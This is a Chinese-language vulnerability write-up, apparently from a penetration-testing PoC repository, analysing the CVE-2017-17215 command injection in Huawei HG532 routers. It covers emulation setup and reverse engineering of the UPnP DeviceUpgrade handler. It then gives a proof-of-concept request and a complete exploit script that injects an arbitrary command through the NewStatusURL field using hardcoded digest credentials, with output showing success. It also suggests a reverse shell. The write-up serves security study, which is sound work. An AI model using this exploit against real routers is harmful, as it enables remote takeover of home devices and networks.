Files
Penetration_Testing_POC/iot/华为HG532 - CVE-2017-17215漏洞简析.md
CopilotandMr-xn 2b0f5a5e19 Move newly added IoT docs into /iot and update README links (#96)
* Move IoT docs into root iot directory

Co-authored-by: Mr-xn <[email protected]>

* Append missing IoT README entries

Co-authored-by: Mr-xn <[email protected]>

---------

Co-authored-by: copilot-swe-agent[bot] <[email protected]>
Co-authored-by: Mr-xn <[email protected]>
2026-10-15 09:25:15 -04:00

388 lines
18 KiB
Markdown
Raw Permalink Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
# 华为HG532 - CVE-2017-17215漏洞简析
> 有毒
> 来源:https://www.iotsec-zone.com/article/187
**TL;DR**
CVE-2017-17215,华为HG532路由器的一个比较经典的命令注入漏洞,现在看起来属于冷饭了。但是漏洞本身还是比较有分析的价值,这种攻击界面在其他的路由器产品上也比较常见。特此从环境搭建开始,重新整理一下漏洞的分析流程。希望可以给新同学漏洞分析带来点经验,给漏洞挖掘的老手带来一点思路。如有不足之处,请多指教。
# 环境搭建
## 网络配置
### 原始Ubuntu网络
![0.png](https://www.iotsec-zone.com/images/MdImg/42b14fa4c43f2f15167a27ab6c1f5e21.png)
### 配置虚拟机网络
创建虚拟网桥,实现虚拟机内部和Ubuntu的连接
```
# sudo apt-get install bridge-utils
v4ler1an qemu_images ➜ sudo brctl addbr br0
v4ler1an qemu_images ➜ sudo ifconfig br0 192.168.7.1/24 up
```
创建tap接口,名字为tap0,并添加到网桥
```
v4ler1an qemu_images ➜ sudo tunctl -t tap0
Set 'tap0' persistent and owned by uid 0
v4ler1an qemu_images ➜ sudo ifconfig tap0 192.168.7.8/24 up
v4ler1an qemu_images ➜ sudo brctl addif br0 tap0
```
配置完成的网络
![1.png](https://www.iotsec-zone.com/images/MdImg/d7ba42fb2dbd6d0086db86979aa1a970.png)
## qemu环境模拟
下载qemu启动虚拟机所需要的“镜像”,这个地方的镜像是和之前的固件版本要匹配,MIPS,32位,大端
```
wget https://people.debian.org/~aurel32/qemu/mips/debian_squeeze_mips_standard.qcow2
wget https://people.debian.org/~aurel32/qemu/mips/vmlinux-2.6.32-5-4kc-malta
```
![2.png](https://www.iotsec-zone.com/images/MdImg/36d25a2805f2a18e79ffc269ade1e0e4.png)
此时qemu虚拟机的网络:
![3.png](https://www.iotsec-zone.com/images/MdImg/24fe039d59444e7b72a545f283f0897b.png)
给qemu虚拟机添加一个ip并测试连通性。
如果报错:
```shell
v4ler1an _HG532eV100R001C01B020_upgrade_packet.bin.extracted ➜ ssh [email protected]
Unable to negotiate with 192.168.7.7 port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss
```
在Ubuntu中ssh按照下面的命令进行连接:
![4.png](https://www.iotsec-zone.com/images/MdImg/9e3a497b86228b2aed8a2c03abe8149d.png)
使用scp将固件copy到qemu中:
```shell
v4ler1an _HG532eV100R001C01B020_upgrade_packet.bin.extracted ➜ scp -oHostKeyAlgorithms=+ssh-dss -r squashfs-root [email protected]:~/
```
然后切换到该固件的根目录下执行 `chroot . sh` 即可开启一个固件的sh:
![5.png](https://www.iotsec-zone.com/images/MdImg/2ea3f8aa93b1020370ce5003e31b7467.png)
## 路由器网络配置
在虚拟机中挂载 dev 和 proc
```shell
root@debian-mips:~# mount -o bind /dev ./squashfs-root/dev
root@debian-mips:~# mount -t proc /proc ./squashfs-root/proc
```
启动shell:
![6.png](https://www.iotsec-zone.com/images/MdImg/964218f9771456f1583ffe17690ed867.png)
该shell主要用于后续更改IP使用。
Ubuntu再开终端进行ssh连接,并通过ssh连接的shell启动路由器:
![7.png](https://www.iotsec-zone.com/images/MdImg/dc668d39d6abe03ffefb3d9a65067510.png)
这个通过ssh连接的终端实际上已经无法使用了,因为虚拟机里面的路由器IP发生了变化,ssh连接已经断开,返回之前的虚拟机中的终端。
此时的网络情况如下:
![8.png](https://www.iotsec-zone.com/images/MdImg/edf645a6a4c81a1c10b5f1a83ae05b77.png)
需要重新更改路由器的IP,以便于外部的Ubuntu登录管理界面
```
ifconfig eth0 192.168.7.7/24 up
ifconfig br0 192.168.7.8/24 up
```
修改完成后如下:
![9.png](https://www.iotsec-zone.com/images/MdImg/75aba02b5dc521b01bd5247031c905ce.png)
此时访问路由的 eth0 的地址应该是可以直接进入到管理端登录页面的。如果使用firefox出现如下错误:
![10.png](https://www.iotsec-zone.com/images/MdImg/c1f96578e34e448dee3ab73f33689c32.png)
解决办法:
![11.png](https://www.iotsec-zone.com/images/MdImg/a01c8cab2c2b33c3445b0a88823f6ad4.png)
进入到路由器管理界面(admin/@Hua1234):
![12.png](https://www.iotsec-zone.com/images/MdImg/03804be4af4d394cb0e34b56e60b4b21.png)
# 设备系统分析
## 网络情况
![13.png](https://www.iotsec-zone.com/images/MdImg/2abc7db8d14248cbc204c43d6ff19195.png)
重点关注的端口:
![14.png](https://www.iotsec-zone.com/images/MdImg/1e685013e49f95f462b801cb50af62e5.png)
`37215` 和 `37443` 都在 `/bin/mic` 文件中, `39544` 端口没有找到;`80` 和 `443` 端口很明显会在 `/bin/web` 文件中,该文件对应的是路由器的后台管理服务。
## 进程情况
![15.png](https://www.iotsec-zone.com/images/MdImg/b4d2c27eafac813880df402aef495d16.png)
系统启动的进程主要关注 bin 目录下的可执行文件,其中web是管理端服务,所以与该漏洞无关。
# 漏洞复现
poc如下:
```python
import requests
headers = {
"Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
}
data = '''<?xml version="1.0" ?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
<NewStatusURL>;cat /etc/profile>/tmp/test;</NewStatusURL>
<NewDownloadURL>HUAWEIUPNP</NewDownloadURL>
</u:Upgrade>
</s:Body>
</s:Envelope>
'''
requests.post('http://192.168.153.2:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)
```
直接python执行,会在目标的 `/tmp` 目录下创建 `test` 文件,其内容为 `/etc/profile` 文件内容:
![16.png](https://www.iotsec-zone.com/images/MdImg/f68ef181ec873a8790d9d4c886f12f4b.png)
# 漏洞分析
## 漏洞描述
Huawei HG532 路由器部分版本存在远程命令执行漏洞,漏洞利用的端口为 37215 ,成功利用可以实现远程执行任意代码。
### 漏洞信息搜集
#### 1. 官方公告
[https://www.huawei.com/en/psirt/security-notices/huawei-sn-20171130-01-hg532-en](https://www.huawei.com/en/psirt/security-notices/huawei-sn-20171130-01-hg532-en)
#### 2. Check Point
漏洞首发于CheckPoint,其漏洞报告中描述了漏洞利用的一些细节:
1. 华为家庭网关使用了UPnP(Universal Plug and Play) 协议,该协议在 TR-064 技术报告中进行了标准化,并被广泛应用于嵌入式设备中,以实现家庭和企业环境中网络设施的无缝连接和简化,主要是本地网络的配置,例如允许在内部网络中实施基本的设备配置、固件升级等。在目标路由器中,通过 37215 端口将 TR-064 暴露在了 WAN 网络环境中。
2. 华为的这款路由器中的 UPnP 支持 `DeviceUpgrade` 的服务类型,该服务通过向 `/ctrlt/DeviceUpgrade_1` 发送请求来执行固件升级操作,并使用到了名为 `NewStatusURL` 和 `NewDownloadURL` 的两个 SOAP 元素。
3. 漏洞发生在对 `NewStatusURL` 和 `NewDownloadURL` 的处理流程,在这两个元素中存在命令注入漏洞。
## 静态分析
**一般情况下可以使用Ghidra,但是IDA 7.7真香。**
### Ghidra分析结果
因为确认是 mips 架构,所以首先使用 Ghidra 进行静态反编译。
1. 首先查看 upnp ,并通过搜索字符串 `NewStatusURL` 定位到问题函数 `FUN_0040749c`:
![17.png](https://www.iotsec-zone.com/images/MdImg/7f44c01e74d70bf4d8a6c00b566d9a7b.png)
![18.png](https://www.iotsec-zone.com/images/MdImg/8f01babd07b75961472a3ac7ea38185b.png)
2. 在函数 `FUN_0040749c` 中,在第二个 `if` 内部存在一个 `system` 函数,该函数执行的参数来自 `snprintf` 。而 `snprintf` 函数的参数中存在拼接的情况,其中就包含 `NewStatusURL` 中的元素。
### IDA 7.7 分析结果
1. 首先看下文件的基本信息,这里 IDA 7.7 识别的是 MIPS big endian:
![19.png](https://www.iotsec-zone.com/images/MdImg/39af4058623640356dfd9c58b037a778.png)
2. 根据字符串定位到具体函数:
![20.png](https://www.iotsec-zone.com/images/MdImg/aaebfb5b2b65648724ea8ab8907d46f9.png)
在该函数中,首先通过 `ATP_XML_GetChildNodeByName` 函数来获取 xml 中的 `NewDownloadURL` 节点中的内容给到 `v4` ,成功后再获取 `NewStatusURL` 节点中的内容给到 `v5` 。如果两个节点都获取成功,则调用 `snprintf` 函数进行字符串拼接,最后将拼接成功的字符串传递给 `system` 函数去执行,整体上漏洞逻辑相对简单。
3. 进入到 `ATP_XML_GetChildNodeByName` 函数来看它是怎么处理 xml 中的节点的:
![21.png](https://www.iotsec-zone.com/images/MdImg/99040617bd8210be9129b639ec74bdd4.png)
遍历节点中所有的子节点,寻找和 `NewStatusURL` 和 `NewDownloadURL` 同名的节点值,然后调用 `sub_408540` 函数进行一些逻辑处理,最终写入到 `a4` 地址处。
4. 漏洞利用需要查看 `sub_40749C` 函数的引用,来看数据的传入,但是在 IDA 中直接查看交叉引用没有成功解析,所以需要使用手动方式。
### 漏洞函数的触发流程
在文件系统中查找两个关键字符串的引用:
![22.png](https://www.iotsec-zone.com/images/MdImg/d26bd3cc766509acd93981b16a2ca69e.png)
文件 `/etc/upnp/DevUpg.xml` 的内容如下:
![23.png](https://www.iotsec-zone.com/images/MdImg/3039aae1fbd6160ae5532e5241182aca.png)
该 `xml` 看起来是协议字段的一些定义。继续在 `upnp` 文件中查找对该 xml 的引用,发现在 `ATP_UPNP_RegDeviceAndService()` 函数中。该函数大量调用 `ATP_UPnP_RegDevice` 函数和 `ATP_UPnP_RegService`:
![24.png](https://www.iotsec-zone.com/images/MdImg/25e434c593f296c4c072d8d63e87ce3f.png)
从函数名可以简单判断这俩函数的主要作用是注册设备和服务,那么 `ATP_UPNP_RegDeviceAndService()` 函数整体就是用于设置开启外网对内访问的服务。
首先注册设备和服务:
```c
v0 = ATP_UPnP_RegDevice(0, dword_426854, "InternetGatewayDevice:1", 3);
v1 = ATP_UPnP_RegService(0, "urn:www-huawei-com:service:DeviceUpgrade:1", "DevUpg.xml", 2);
```
然后调用 `ATP_UPNP_RegAction(0, 2)` 函数进行注册的相关操作,其中第二个参数为标识码。函数内部如下;
![25.png](https://www.iotsec-zone.com/images/MdImg/98a7e7c5f2228b96314a10ce5f961e63.png)
其中涉及到一个全局变量 `g_astActionArray` ,发现是一个函数虚表:
![26.png](https://www.iotsec-zone.com/images/MdImg/989dad249989cbb256754cf594a49b06.png)
其中就包含漏洞函数 `sub_40749c` ,目前可以推断该函数主要就是用作设备更新使用的。
继续查看虚表的引用,来确认函数指针在什么位置被调用:
![27.png](https://www.iotsec-zone.com/images/MdImg/a0af7050cb56b5201f17963827dbaced.png)
主要函数是 `UPnPGetActionByName`:
![28.png](https://www.iotsec-zone.com/images/MdImg/f022f02b8ca12ab30dd5edd4aff651bc.png)
对该函数的调用最终可以追溯到:
![29.png](https://www.iotsec-zone.com/images/MdImg/35a455be91431e8f31d77fe51960be88.png)
在函数 `sub_40A9C8` 中有这样的逻辑:
![30.png](https://www.iotsec-zone.com/images/MdImg/9ddad2bf23ab0603d2c83fe229b71514.png)
而在 `UpnpGetServiceByUrl` 函数内部:
![31.png](https://www.iotsec-zone.com/images/MdImg/d3c1d2a730d554c94dbc58ec54d096ce.png)
从函数逻辑可以判断 `a1` 是一个 url 变量,`g_pstUpnpGvarHead` 全局变量在 `ATP_UPNP_Init` 函数中进行赋值:
![32.png](https://www.iotsec-zone.com/images/MdImg/d896b3c91ea82261c8283325229efa67.png)
到此为止,我们的静态分析基本就可以梳理清楚漏洞的触发流程了,核心的关键点还是构造一个带漏洞字段的xml。
## 漏洞利用
根据我们静态分析的结果,可以基本确认漏洞的触发流程,UPnP 服务是默认开启的,如果我们能在执行 `DeviceUpgrade_1` 这个action的时候,将那两个字段进行命令注入即可实现漏洞利用。
根据 Check Point 的 poc,抓取其流量可以看到 xml 数据的详细组织形式:
![33.png](https://www.iotsec-zone.com/images/MdImg/358e2624a509cf321c30fde8ecd786cf.png)
根据poc和流量构建 exp 如下:
```python
import requests
import click
from threading import Thread
from requests.auth import HTTPDigestAuth
print(f"""
$$$$$$\ $$\ $$\ $$$$$$$$\ $$$$$$\ $$$$$$\ $$\ $$$$$$$$\ $$\ $$$$$$$$\ $$$$$$\ $$\ $$$$$$$|
$$ __$$\ $$ | $$ |$$ _____| $$ __$$\ $$$ __$$\ $$$$ | \____$$ | $$$$ | \____$$ |$$ __$$\ $$$$ | $$ ____|
$$ / \__|$$ | $$ |$$ | \__/ $$ |$$$$\ $$ |\_$$ | $$ / \_$$ | $$ / \__/ $$ |\_$$ | $$ |
$$ | \$$\ $$ |$$$$$\ $$$$$$\ $$$$$$ |$$\$$\$$ | $$ | $$ /$$$$$$\ $$ | $$ / $$$$$$ | $$ | $$$$$$$|
$$ | \$$\$$ / $$ __|\______|$$ ____/ $$ \$$$$ | $$ | $$ / \______|$$ | $$ / $$ ____/ $$ | \_____$$|
$$ | $$\ \$$$ / $$ | $$ | $$ |\$$$ | $$ | $$ / $$ | $$ / $$ | $$ | $$\ $$ |
\$$$$$$ | \$ / $$$$$$$$\ $$$$$$$$\ \$$$$$$ /$$$$$$\ $$ / $$$$$$\ $$ / $$$$$$$$\ $$$$$$$$$$$$$$ |
\______/ \_/ \________| \________| \______/ \______|\__/ \______|\__/ \________|\______|\______/
""")
@click.command()
@click.option('-i', '--ip', help="Target ip to attack.")
@click.option('-c', '--command', type=str, help="Command want to execute.")
def attack(ip, command):
print("[+] Start Attacking...")
url = f"http://{ip}:37215/ctrlt/DeviceUpgrade_1"
payload = '''<?xml version=\"1.0\" ?>\n'''
payload += '''<s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\n'''
payload += '''<s:Body><u:Upgrade xmlns:u=\"urn:schemas-upnp-org:service:WANPPPConnection:1\">\n'''
payload += f"<NewStatusURL>;{command};</NewStatusURL>\n"
payload += '''<NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL>\n</u:Upgrade>\n'''
payload += '''</s:Body>\n'''
payload += '''</s:Envelope>'''
resp = requests.post(url,auth = HTTPDigestAuth('dslf-config', 'admin') ,data = payload)
if resp.status_code == 200:
print("[+] Attack Success.")
else:
print("[+] Ooops! Attack faild, something wrong.")
if __name__ == '__main__':
attack()
```
>需要特殊说明的是,在exp中需要添加http的身份验证,否则会报401错误。
>
>exp中给定的命令是 cat /etc/profile>/tmp/test,会把/etc/profile文件内容和读取到/tmp/test文件中。
exp 使用:
```shell
v4ler1an CVE-2017-17215 ➜ python3 exp.py --help
$$$$$$\ $$\ $$\ $$$$$$$$\ $$$$$$\ $$$$$$\ $$\ $$$$$$$$\ $$\ $$$$$$$$\ $$$$$$\ $$\ $$$$$$$|
$$ __$$\ $$ | $$ |$$ _____| $$ __$$\ $$$ __$$\ $$$$ | \____$$ | $$$$ | \____$$ |$$ __$$\ $$$$ | $$ ____|
$$ / \__|$$ | $$ |$$ | \__/ $$ |$$$$\ $$ |\_$$ | $$ / \_$$ | $$ / \__/ $$ |\_$$ | $$ |
$$ | \$$\ $$ |$$$$$\ $$$$$$\ $$$$$$ |$$\$$\$$ | $$ | $$ /$$$$$$\ $$ | $$ / $$$$$$ | $$ | $$$$$$$|
$$ | \$$\$$ / $$ __|\______|$$ ____/ $$ \$$$$ | $$ | $$ / \______|$$ | $$ / $$ ____/ $$ | \_____$$|
$$ | $$\ \$$$ / $$ | $$ | $$ |\$$$ | $$ | $$ / $$ | $$ / $$ | $$ | $$\ $$ |
\$$$$$$ | \$ / $$$$$$$$\ $$$$$$$$\ \$$$$$$ /$$$$$$\ $$ / $$$$$$\ $$ / $$$$$$$$\ $$$$$$$$$$$$$$ |
\______/ \_/ \________| \________| \______/ \______|\__/ \______|\__/ \________|\______|\______/
Usage: exp.py [OPTIONS]
Options:
-i, --ip TEXT Target ip to attack.
-c, --command TEXT Command want to execute.
--help Show this message and exit.
v4ler1an CVE-2017-17215 ➜ python3 exp.py -i 192.168.7.7 -c "cat /etc/profile>/tmp/test"
$$$$$$\ $$\ $$\ $$$$$$$$\ $$$$$$\ $$$$$$\ $$\ $$$$$$$$\ $$\ $$$$$$$$\ $$$$$$\ $$\ $$$$$$$|
$$ __$$\ $$ | $$ |$$ _____| $$ __$$\ $$$ __$$\ $$$$ | \____$$ | $$$$ | \____$$ |$$ __$$\ $$$$ | $$ ____|
$$ / \__|$$ | $$ |$$ | \__/ $$ |$$$$\ $$ |\_$$ | $$ / \_$$ | $$ / \__/ $$ |\_$$ | $$ |
$$ | \$$\ $$ |$$$$$\ $$$$$$\ $$$$$$ |$$\$$\$$ | $$ | $$ /$$$$$$\ $$ | $$ / $$$$$$ | $$ | $$$$$$$|
$$ | \$$\$$ / $$ __|\______|$$ ____/ $$ \$$$$ | $$ | $$ / \______|$$ | $$ / $$ ____/ $$ | \_____$$|
$$ | $$\ \$$$ / $$ | $$ | $$ |\$$$ | $$ | $$ / $$ | $$ / $$ | $$ | $$\ $$ |
\$$$$$$ | \$ / $$$$$$$$\ $$$$$$$$\ \$$$$$$ /$$$$$$\ $$ / $$$$$$\ $$ / $$$$$$$$\ $$$$$$$$$$$$$$ |
\______/ \_/ \________| \________| \______/ \______|\__/ \______|\__/ \________|\______|\______/
[+] Start Attacking...
[+] Attack Success.
```
## 扩展利用
为便捷使用exp,我们可以将命令执行结果打印到web服务的一个页面上,也可以进行反弹shell。但是路由器设备的web服务是直接封装在了二进制文件中,通过`etc/webidx` 文件进行路由,所以打印命令执行结果的方式不可行。因此只能先进行反弹shell。
将注入的命令修改成反弹shell的相关命令,本地进行 nc 监听即可实现反弹shell。强烈建议使用 msf 这种成熟工具生成的反弹shell的shellcode。
# 总结
整体而言,该漏洞本身难度简单,分析其调用流程可能花费的时间会多一些。但是路由器系统本身体积较小,逆向梳理难度不大。
# 参考链接
1. [https://xz.aliyun.com/t/8494](https://xz.aliyun.com/t/8494)
2. [https://blog.csdn.net/wuyou1995/article/details/109607992](https://blog.csdn.net/wuyou1995/article/details/109607992)
3. [https://research.checkpoint.com/2017/good-zero-day-skiddie/](https://research.checkpoint.com/2017/good-zero-day-skiddie/)